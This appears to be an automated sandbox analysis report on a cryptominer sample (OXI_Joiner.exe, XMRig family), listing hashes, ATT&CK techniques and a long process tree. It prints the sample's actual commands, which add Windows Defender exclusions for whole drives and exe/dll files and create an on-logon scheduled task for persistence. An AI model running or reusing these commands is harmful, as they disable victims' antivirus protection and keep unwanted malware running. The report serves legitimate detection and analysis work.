xmrig | a4403e20eb24f7e3241b0122d4f2ffcbb6fb7734b4576d6a20689bf50edeb2cf

Analysis

max time kernel
6s
max time network
137s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
23/10/2026, 11:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
OXI_Joiner.exe
Size 2.8MB
Sample261023-m513psbs3w
SHA256 a4403e20eb24f7e3241b0122d4f2ffcbb6fb7734b4576d6a20689bf50edeb2cf
MD5 25c3098cb44d529a4af856eb0bac1deb
SHA1 6491aed3f2bed56421ab1ffec91fadd5d8e4ae4f
SHA512 1f61ebd3bd4bd9af627eb6c0353d70006aca78bba18a6fc5ecab7e2d780d59d416cdeb546b66bfb1907cfe548e273c5c79a6e2793b710a1243527209febdd4f1
SSDEEP 49152:zdwOnUeBbxObCSbjgTaT/uV081f3+b/oRTKSxLP0UwtlFPbfLGIKKkfVtwD74/Q:zd2SFCYQUV+UR2Sh0zPFPbfLGISfjwDV
TLSH
T1D9D5334E2D2D411BE4A476790417C9C9E7F50FB6868DB38B72243B283977E3D2A345E8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution xmrig miner persistence

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 1 IoCs

miner

resource	yara_rule
behavioral2/memory/14236-414-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4808	powershell.exe
3824	powershell.exe
7544	powershell.exe
10376	powershell.exe
11748	powershell.exe
12272	powershell.exe
4864	powershell.exe
3204	powershell.exe
13132	powershell.exe
14512	powershell.exe
4348	powershell.exe
16508	powershell.exe
6884	powershell.exe
7608	powershell.exe
15072	powershell.exe
5048	powershell.exe
12800	powershell.exe
14096	powershell.exe
13944	powershell.exe
9908	powershell.exe
11440	powershell.exe
3280	powershell.exe
3968	powershell.exe
14768	powershell.exe
10836	powershell.exe
4924	powershell.exe
2344	powershell.exe
4940	powershell.exe
10848	powershell.exe
11796	powershell.exe
1332	powershell.exe
7876	powershell.exe
15008	powershell.exe
15772	powershell.exe
17300	powershell.exe
2008	powershell.exe
9740	powershell.exe
6784	powershell.exe
3068	powershell.exe
10764	powershell.exe
10772	powershell.exe
16288	powershell.exe
2116	powershell.exe
9748	powershell.exe
12180	powershell.exe
6028	powershell.exe
12012	powershell.exe
6836	powershell.exe
13384	powershell.exe
2284	powershell.exe
11224	powershell.exe
12676	powershell.exe
10276	powershell.exe
4712	powershell.exe
11920	powershell.exe
9252	powershell.exe
17328	powershell.exe
12352	powershell.exe
6320	powershell.exe
16020	powershell.exe
592	powershell.exe
5128	powershell.exe
3908	powershell.exe
16908	powershell.exe

Executes a file named after a Windows system binary 1 TTPs 15 IoCs

The file runs from a user directory while carrying the name of an executable that normally only exists in System32.

defense_evasion

Match Legitimate Name or Location

T1036.005

description	ioc	Process
File opened (read-only)	C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe	fontdrvhost.exe
File opened (read-only)	C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe	OXI_Joiner.exe
File opened (read-only)	C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe	OXI_Joiner.exe
File opened (read-only)	C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe	OXI_Joiner.exe
File opened (read-only)	C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe	OXI_Joiner.exe
File opened (read-only)	C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe	OXI_Joiner.exe
File opened (read-only)	C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe	OXI_Joiner.exe
File opened (read-only)	C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe	OXI_Joiner.exe
File opened (read-only)	C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe	OXI_Joiner.exe
File opened (read-only)	C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe	OXI_Joiner.exe
File opened (read-only)	C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe	OXI_Joiner.exe
File opened (read-only)	C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe	OXI_Joiner.exe
File opened (read-only)	C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe	OXI_Joiner.exe
File opened (read-only)	C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe	OXI_Joiner.exe
File opened (read-only)	C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe	OXI_Joiner.exe

Executes dropped EXE 26 IoCs

pid	Process
4448	fontdrvhost.exe
6024	OXI_Joiner.exe
4124	fontdrvhost.exe
4660	OXI_Joiner.exe
6032	fontdrvhost.exe
6092	OXI_Joiner.exe
4840	fontdrvhost.exe
2776	OXI_Joiner.exe
4192	fontdrvhost.exe
1264	OXI_Joiner.exe
2356	fontdrvhost.exe
368	OXI_Joiner.exe
3996	fontdrvhost.exe
932	OXI_Joiner.exe
3700	fontdrvhost.exe
3892	OXI_Joiner.exe
1840	fontdrvhost.exe
3064	OXI_Joiner.exe
4608	fontdrvhost.exe
6132	OXI_Joiner.exe
1672	fontdrvhost.exe
4704	OXI_Joiner.exe
5620	fontdrvhost.exe
4188	OXI_Joiner.exe
3360	fontdrvhost.exe
4724	OXI_Joiner.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
14368	cmd.exe
8196	cmd.exe
7476	cmd.exe
9372	cmd.exe
7316	cmd.exe
8172	cmd.exe
796	cmd.exe
9060	cmd.exe
7760	cmd.exe
11976	cmd.exe
6672	cmd.exe
6420	cmd.exe
7192	cmd.exe
11076	cmd.exe
2188	cmd.exe
11164	cmd.exe
1836	cmd.exe
13752	cmd.exe
7700	cmd.exe
7864	cmd.exe
9824	cmd.exe
11600	cmd.exe
4932	cmd.exe
6104	cmd.exe
8132	cmd.exe
9188	cmd.exe
6180	cmd.exe
4172	cmd.exe
9104	cmd.exe
16748	cmd.exe
9676	cmd.exe
12296	cmd.exe
5860	cmd.exe
10228	cmd.exe
12700	cmd.exe
16724	cmd.exe
16332	cmd.exe
4068	cmd.exe
4772	cmd.exe
7340	cmd.exe
9452	cmd.exe
9904	cmd.exe
7828	cmd.exe
8604	cmd.exe
7540	cmd.exe
680	cmd.exe
11144	cmd.exe
9884	cmd.exe
11880	cmd.exe
9208	cmd.exe
9204	cmd.exe
14752	cmd.exe
12988	cmd.exe
2192	cmd.exe
3476	cmd.exe
6984	cmd.exe
12488	cmd.exe
13868	cmd.exe
7896	cmd.exe
10244	cmd.exe
3300	cmd.exe
4844	cmd.exe
3544	cmd.exe
7456	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	OXI_Joiner.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	OXI_Joiner.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	OXI_Joiner.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	OXI_Joiner.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	OXI_Joiner.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	OXI_Joiner.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	OXI_Joiner.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	OXI_Joiner.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	OXI_Joiner.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	OXI_Joiner.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	OXI_Joiner.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	OXI_Joiner.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	OXI_Joiner.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	OXI_Joiner.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 28 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4028	schtasks.exe
6840	schtasks.exe
11672	schtasks.exe
13488	schtasks.exe
5160	schtasks.exe
1052	schtasks.exe
7136	schtasks.exe
3496	schtasks.exe
1488	schtasks.exe
2784	schtasks.exe
7664	schtasks.exe
8016	schtasks.exe
6832	schtasks.exe
7468	schtasks.exe
8448	schtasks.exe
2400	schtasks.exe
15448	schtasks.exe
2372	schtasks.exe
5744	schtasks.exe
5896	schtasks.exe
3372	schtasks.exe
4624	schtasks.exe
6932	schtasks.exe
6428	schtasks.exe
2472	schtasks.exe
9012	schtasks.exe
892	schtasks.exe
4928	schtasks.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
2068	conhost.exe
2068	conhost.exe
1772	conhost.exe
1772	conhost.exe
4524	powershell.exe
4524	powershell.exe
3304	conhost.exe
3304	conhost.exe
3888	conhost.exe
3888	conhost.exe
4988	conhost.exe
4988	conhost.exe
4524	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	2068	conhost.exe
Token: SeDebugPrivilege	1772	conhost.exe
Token: SeDebugPrivilege	4524	powershell.exe
Token: SeDebugPrivilege	3304	conhost.exe
Token: SeDebugPrivilege	3888	conhost.exe
Token: SeDebugPrivilege	4988	conhost.exe

Suspicious use of WriteProcessMemory 44 IoCs

description	pid	Process	procid_target
PID 1320 wrote to memory of 4448	1320	OXI_Joiner.exe	88
PID 1320 wrote to memory of 6024	1320	OXI_Joiner.exe	89
PID 6024 wrote to memory of 4124	6024	OXI_Joiner.exe	90
PID 6024 wrote to memory of 4660	6024	OXI_Joiner.exe	91
PID 4660 wrote to memory of 6032	4660	OXI_Joiner.exe	92
PID 4660 wrote to memory of 6092	4660	OXI_Joiner.exe	93
PID 6092 wrote to memory of 4840	6092	OXI_Joiner.exe	94
PID 6092 wrote to memory of 2776	6092	OXI_Joiner.exe	95
PID 2776 wrote to memory of 4192	2776	OXI_Joiner.exe	96
PID 2776 wrote to memory of 1264	2776	OXI_Joiner.exe	97
PID 1264 wrote to memory of 2356	1264	OXI_Joiner.exe	98
PID 1264 wrote to memory of 368	1264	OXI_Joiner.exe	99
PID 368 wrote to memory of 3996	368	OXI_Joiner.exe	100
PID 368 wrote to memory of 932	368	OXI_Joiner.exe	101
PID 932 wrote to memory of 3700	932	OXI_Joiner.exe	102
PID 932 wrote to memory of 3892	932	OXI_Joiner.exe	103
PID 3892 wrote to memory of 1840	3892	OXI_Joiner.exe	104
PID 3892 wrote to memory of 3064	3892	OXI_Joiner.exe	105
PID 3064 wrote to memory of 4608	3064	OXI_Joiner.exe	106
PID 3064 wrote to memory of 6132	3064	OXI_Joiner.exe	107
PID 6132 wrote to memory of 1672	6132	OXI_Joiner.exe	108
PID 6132 wrote to memory of 4704	6132	OXI_Joiner.exe	109
PID 4448 wrote to memory of 2068	4448	fontdrvhost.exe	110
PID 4448 wrote to memory of 2068	4448	fontdrvhost.exe	110
PID 4704 wrote to memory of 5620	4704	OXI_Joiner.exe	111
PID 4704 wrote to memory of 4188	4704	OXI_Joiner.exe	112
PID 4124 wrote to memory of 1772	4124	fontdrvhost.exe	113
PID 4124 wrote to memory of 1772	4124	fontdrvhost.exe	113
PID 2068 wrote to memory of 3300	2068	conhost.exe	114
PID 4188 wrote to memory of 3360	4188	OXI_Joiner.exe	117
PID 1772 wrote to memory of 2192	1772	conhost.exe	118
PID 4188 wrote to memory of 4724	4188	OXI_Joiner.exe	120
PID 3300 wrote to memory of 4524	3300	cmd.exe	121
PID 6032 wrote to memory of 3304	6032	fontdrvhost.exe	122
PID 6032 wrote to memory of 3304	6032	fontdrvhost.exe	122
PID 4840 wrote to memory of 3888	4840	fontdrvhost.exe	123
PID 4840 wrote to memory of 3888	4840	fontdrvhost.exe	123
PID 3304 wrote to memory of 6136	3304	conhost.exe	124
PID 4192 wrote to memory of 4988	4192	fontdrvhost.exe	125
PID 4192 wrote to memory of 4988	4192	fontdrvhost.exe	125
PID 3888 wrote to memory of 6104	3888	conhost.exe	127
PID 2192 wrote to memory of 4380	2192	cmd.exe	129
PID 4988 wrote to memory of 4844	4988	conhost.exe	130
PID 4724 wrote to memory of 3076	4724	OXI_Joiner.exe	132

C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
"C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
1⤵
- Executes a file named after a Windows system binary
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1320
- C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
  "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
  2⤵
  - Executes a file named after a Windows system binary
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4448
- - C:\Windows\System32\conhost.exe
    "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2068
  - - C:\Windows\System32\cmd.exe
      "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:3300
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4524
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        5⤵
        
        PID:10400
  - - C:\Windows\System32\cmd.exe
      "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
      4⤵
      PID:1184
    - - C:\Windows\System32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5160
  - - C:\Windows\System32\cmd.exe
      "cmd" cmd /c "C:\Users\Admin\AppData\Local\Temp\services64.exe"
      4⤵
      Executes a command shell one-liner
      PID:7340
    - - C:\Users\Admin\AppData\Local\Temp\services64.exe
        
        C:\Users\Admin\AppData\Local\Temp\services64.exe
        5⤵
        
        PID:2580
      - C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        6⤵
        
        PID:8320
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        7⤵
        Executes a command shell one-liner
        
        PID:7760
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        8⤵
        
        PID:9792
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10836
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        7⤵
        
        PID:15292
- C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
  "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
  2⤵
  - Executes a file named after a Windows system binary
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:6024
- - C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
    "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:4124
  - - C:\Windows\System32\conhost.exe
      "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1772
    - - C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2192
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        6⤵
        
        PID:4380
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        6⤵
        
        PID:12080
    - - C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        5⤵
        
        PID:4736
      - C:\Windows\System32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3372
    - - C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        5⤵
        Executes a command shell one-liner
        
        PID:7476
      - C:\Users\Admin\AppData\Local\Temp\services64.exe
        
        C:\Users\Admin\AppData\Local\Temp\services64.exe
        6⤵
        
        PID:248
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        7⤵
        
        PID:8560
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        8⤵
        Executes a command shell one-liner
        
        PID:7192
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        9⤵
        
        PID:9732
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        9⤵
        
        PID:10032
- - C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
    "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
    3⤵
    - Executes a file named after a Windows system binary
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4660
  - - C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
      "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:6032
    - - C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3304
      - C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        6⤵
        
        PID:6136
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        7⤵
        
        PID:5608
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        7⤵
        
        PID:8888
      - C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        6⤵
        
        PID:5964
        
        C:\Windows\System32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:892
      - C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        6⤵
        
        PID:8152
        
        C:\Users\Admin\AppData\Local\Temp\services64.exe
        
        C:\Users\Admin\AppData\Local\Temp\services64.exe
        7⤵
        
        PID:900
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        8⤵
        
        PID:2852
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        9⤵
        
        PID:8288
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        10⤵
        
        PID:9700
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        10⤵
        
        PID:13996
  - - C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
      "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
      4⤵
      Executes a file named after a Windows system binary
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:6092
    - - C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4840
      - C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3888
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        7⤵
        Executes a command shell one-liner
        
        PID:6104
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        8⤵
        
        PID:2456
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6028
        
        C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        7⤵
        
        PID:1952
        
        C:\Windows\System32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5896
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        7⤵
        
        PID:7676
        
        C:\Users\Admin\AppData\Local\Temp\services64.exe
        
        C:\Users\Admin\AppData\Local\Temp\services64.exe
        8⤵
        
        PID:8256
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        9⤵
        
        PID:1884
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        10⤵
        Executes a command shell one-liner
        
        PID:9188
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        11⤵
        
        PID:9756
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        11⤵
        
        PID:14668
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        10⤵
        
        PID:6840
    - - C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        5⤵
        Executes a file named after a Windows system binary
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2776
      - C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4192
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        7⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4988
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        8⤵
        Executes a command shell one-liner
        
        PID:4844
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        9⤵
        
        PID:2636
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        9⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12180
        
        C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        8⤵
        
        PID:880
        
        C:\Windows\System32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        9⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4928
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        8⤵
        Executes a command shell one-liner
        
        PID:7864
        
